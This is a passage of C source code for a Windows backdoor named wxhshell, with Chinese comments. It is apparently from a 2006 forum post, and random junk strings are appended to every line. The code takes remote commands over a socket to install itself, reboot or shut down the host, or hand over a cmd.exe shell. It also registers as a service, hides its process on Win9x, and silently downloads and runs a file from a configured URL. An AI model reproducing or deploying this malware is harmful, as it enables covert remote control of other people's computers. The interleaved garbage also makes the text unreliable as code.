  else { ";U#aK1p  
*djVOC  
    switch(cmd[0]) { ) ^`V{iD  
  G]n_RP$G  
  // 帮助  Al1}Ir   
  case '?': { tbXl5x0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v[<x>?i D_  
    break; {)n@Rq\=v  
  } d:Oo5t)MN  
  // 安装 oZ_,WwnE  
  case 'i': { LzQOzl@z  
    if(Install()) 5AK@e|G$w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o1Krp '*  
    else z2lT4SAv+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ea)=K'Pz  
    break; 7J ;\&q'  
    } /|p\l"  
  // 卸载 5gSe=|we*p  
  case 'r': { YU`}T<;bg  
    if(Uninstall()) !l-Q.=yw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YB1Jv[  
    else 4:= VHd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hTQ8y10a  
    break; (?x R<]~g*  
    } y8ODoXk  
  // 显示 wxhshell 所在路径 ,R\ex =c  
  case 'p': { J=J!)\m  
    char svExeFile[MAX_PATH]; ^ 4Uk'T7V  
    strcpy(svExeFile,"\n\r"); jcp6-XM  
      strcat(svExeFile,ExeFile); 25j?0P"&  
        send(wsh,svExeFile,strlen(svExeFile),0); d%K&  
    break; VXnWY8\  
    } !CdF,pd/)m  
  // 重启 NY6;\ 7!n  
  case 'b': { T/PmT:Qg `  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |'``pq/}_  
    if(Boot(REBOOT)) OFxCV`>ce  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j>?`N^  
    else { PLJDRp 2o  
    closesocket(wsh); \S_A e;  
    ExitThread(0); =q(?ALGc  
    } . H}R}^  
    break; 1QPz|3f@\  
    }  Q@!XVQx4  
  // 关机 I7\T :Q[  
  case 'd': { 1k]L,CX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~d3|zlh  
    if(Boot(SHUTDOWN))  }}Zg/(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vq+4so )/S  
    else { 2Ab`i!#  
    closesocket(wsh); bcUSjG>  
    ExitThread(0); o:B?hr'\  
    } &]tm 'N25  
    break; Xf[;^?]X  
    } r PTfwhs  
  // 获取shell $Xh5N3  
  case 's': { P]iJ"d]+X  
    CmdShell(wsh); !"ir}Y%  
    closesocket(wsh); H.;2o(vD  
    ExitThread(0); RBfzti6  
    break; -Q/wW4dE=  
  } wRZFBf~ :  
  // 退出 Y4+ ]5;B8  
  case 'x': { w9StW9 4p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +k h Tl:  
    CloseIt(wsh); P:WxhO/  
    break; 9^8_^F  
    } WL|<xNL  
  // 离开 _f~$iY  
  case 'q': { e=s({V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F|G v  
    closesocket(wsh); k[}WYs+r  
    WSACleanup(); iL!4r]~H  
    exit(1); lvRTy|%[  
    break; j]U~ZAn,K  
        } wv`ar>qVL  
  } b%KcS&-6  
  } ^ZIs>.'  
PC\p>6xT  
  // 提示信息 J7sH]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e _(';Lk  
} liqVfB%  
  } PI@?I&Bo  
6XHM`S  
  return; 0Y'ow=8M  
} `t\\O  
K,6{c^qf  
// shell模块句柄 v0TbQ  
int CmdShell(SOCKET sock) >oN Wf  
{ OnU-FX<  
STARTUPINFO si; W56VA>ia  
ZeroMemory(&si,sizeof(si)); ]0O3kiVQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q{5.;{/eC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RUq[HxF) 6  
PROCESS_INFORMATION ProcessInfo; K%_UNivN  
char cmdline[]="cmd"; `EfFyhG$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u9(42jj[$U  
  return 0; $=X>5B  
} 0>46ZzxUZ  
`e`DSl D>  
// 自身启动模式 ,hr v  
int StartFromService(void) ?D,j!Hy  
{ aI=Q_}8-  
typedef struct Nc HU)  
{ ao0^;  
  DWORD ExitStatus; K-"`A.:S  
  DWORD PebBaseAddress; sIbPMu`&U  
  DWORD AffinityMask; O)DAYBv^  
  DWORD BasePriority; _;%l~q/  
  ULONG UniqueProcessId; x}O,xquY  
  ULONG InheritedFromUniqueProcessId; R+t]]n6#  
}   PROCESS_BASIC_INFORMATION; >|`1aCg,  
:P ]D`b6p  
PROCNTQSIP NtQueryInformationProcess; H}lz_#Z  
Tm9sQ7Oj(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?`xm_udc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zk!7TUZ">w  
%"=GQ3u[  
  HANDLE             hProcess; Q/]o'_[vW  
  PROCESS_BASIC_INFORMATION pbi; sxS%1hp3  
a#G3dY>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6xA xLZz<  
  if(NULL == hInst ) return 0; jse!EtB:  
(`_fP.Ogb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u.G aMl4 (  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FhPCFmmUT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wv\V&U$  
$iMLT8U  
  if (!NtQueryInformationProcess) return 0; DUH DFG  
!G6h~`[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l@1=./L?  
  if(!hProcess) return 0; @y'ZM  
@v:Eh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X&| R\v=}  
y<wd~!>Ubu  
  CloseHandle(hProcess); 717G CL@  
_yX.Apv]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fP6.  
if(hProcess==NULL) return 0; QC!SgV  
Xh}D_c  
HMODULE hMod; ,KD?kSIf  
char procName[255]; z;?j+ZsdH  
unsigned long cbNeeded; 00s)=A_  
XPZ8*8JL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k.jBu  
49<t2^1q  
  CloseHandle(hProcess); )y Zr]  
6|{&7=1t  
if(strstr(procName,"services")) return 1; // 以服务启动 yGSZ;BDW:K  
Gg]Jp:GF  
  return 0; // 注册表启动 %rgW}Z5  
} =F Y2O`%a  
pq\N 2d  
// 主模块 ASrRMH[  
int StartWxhshell(LPSTR lpCmdLine) qJf\,7mi  
{ 8h4]<T  
  SOCKET wsl; -'L~Y~'.  
BOOL val=TRUE; ~R~.D  
  int port=0; ~)`\ j  
  struct sockaddr_in door; @$j u Qm  
].5q,A]  
  if(wscfg.ws_autoins) Install(); *9w-eK1{  
r{84Y!k~*  
port=atoi(lpCmdLine); q_ryW$/_  
_%Ua8bR$  
if(port<=0) port=wscfg.ws_port; bq8Wvlv04  
>M!LC  
  WSADATA data; Jw&Fox7p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ziub%C[oV  
(fr=N5   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^c >Bh[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;"ESN)*|i  
  door.sin_family = AF_INET; ]NI CQ9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <5 OUk  
  door.sin_port = htons(port); %l#X6jkt  
P,a9B2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q4/BpKL  
closesocket(wsl); ;Zj(**#H  
return 1; dFhyT.Y?  
} 7jQVm{{.  
.pdcwd9  
  if(listen(wsl,2) == INVALID_SOCKET) { #$W0%7  
closesocket(wsl); l 9g  
return 1; ?G!~&  
} ?8?vBkz~  
  Wxhshell(wsl); c0rU&+:Ry  
  WSACleanup(); rnQ_0d  
X9SOcg3a  
return 0; ;ND[+i2MN  
^OX}y~'  
} .T ,HtHe  
-*~ @?  
// 以NT服务方式启动 vfvp#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J7- vB",U  
{ 42A'`io[w]  
DWORD   status = 0; Y'bz>@1(  
  DWORD   specificError = 0xfffffff; MP<]-M'|<  
j;V\~[I^u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sLJ]N0t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /V`SJ"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L6i|5 P  
  serviceStatus.dwWin32ExitCode     = 0; E i>GhvRM  
  serviceStatus.dwServiceSpecificExitCode = 0; WiB~sIp  
  serviceStatus.dwCheckPoint       = 0; d!}oS<6  
  serviceStatus.dwWaitHint       = 0; )ZBNw{nh  
g6P^JW}.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {^(uoB C/  
  if (hServiceStatusHandle==0) return; j (Q# NFT7  
OI"g-+~  
status = GetLastError(); H_t0$x(\  
  if (status!=NO_ERROR) vr{|ubG]d  
{ $w <R".4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #Ha"rr46p  
    serviceStatus.dwCheckPoint       = 0; Z!^>!' Z  
    serviceStatus.dwWaitHint       = 0; s^IC]sW\%  
    serviceStatus.dwWin32ExitCode     = status; jb,a>9 ]p  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4b;*:C4?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]h' 38W  
    return; .-mIU.Nwi  
  } 3N+B|WrM  
j[FB*L1!D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b]Kb ~y|  
  serviceStatus.dwCheckPoint       = 0; 9L3P'!Z  
  serviceStatus.dwWaitHint       = 0; ~o|sma5.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o@_i&4[MW  
} ]B3+& g  
2yZ~j_AF[  
// 处理NT服务事件,比如:启动、停止 :t9![y[=|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t']/2m.&p  
{ %t!r pyD  
switch(fdwControl) vV$^`WY4  
{ TOKt{`2}  
case SERVICE_CONTROL_STOP: _e ;b B?S  
  serviceStatus.dwWin32ExitCode = 0; *i#N50k*j'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 67&Q<`V1*q  
  serviceStatus.dwCheckPoint   = 0; DNqV]N_W  
  serviceStatus.dwWaitHint     = 0; )V>zXy}Y  
  { do.>Y}d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ::iYydpM  
  } %e0X-tXcmX  
  return;  [ OUV!o  
case SERVICE_CONTROL_PAUSE: 77sG;8HE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vO&X<5?Qc  
  break; kONn7Itbu  
case SERVICE_CONTROL_CONTINUE: 7][fciZN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bp}97ZQ  
  break; `Npo|.?=  
case SERVICE_CONTROL_INTERROGATE: kdlmj[=  
  break; 3+d^Bpp4  
}; 6SE^+@jR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?E V^H-rr  
} @lWNSf  
x|Pz24yP9  
// 标准应用程序主函数 IemhHf ^l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2)\MxvfOh  
{ { pQJ.QI  
.|g@#XIwe#  
// 获取操作系统版本 Mt`LOdiC_  
OsIsNt=GetOsVer(); eN </H.bm]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); NS`hXf  
Bw!J!cCj  
  // 从命令行安装 z;e@m2.IM  
  if(strpbrk(lpCmdLine,"iI")) Install(); bpU> (j  
cZF|oZ6<  
  // 下载执行文件 'jE/Tre^  
if(wscfg.ws_downexe) { fQU_:[ Uz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k}E_1_S(  
  WinExec(wscfg.ws_filenam,SW_HIDE); SFtcO  
} LEtGrA/%@b  
~,KrL(jC  
if(!OsIsNt) { ^[}W}j>  
// 如果时win9x,隐藏进程并且设置为注册表启动 .>[l@x"  
HideProc(); Cg~1<J?2  
StartWxhshell(lpCmdLine); oq,nfUA  
} /F"eqMN  
else I0Allw[  
  if(StartFromService()) fJ5mKN  
  // 以服务方式启动 .57F h)Y  
  StartServiceCtrlDispatcher(DispatchTable); ^'tT_ gT  
else >@cBDS<6R  
  // 普通方式启动 8%YyxoCH  
  StartWxhshell(lpCmdLine); M=ag\1S&ZF  
fK]%*i_"  
return 0; CMbID1M3  
}
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只看该作者 1 发表于: 2006-10-10
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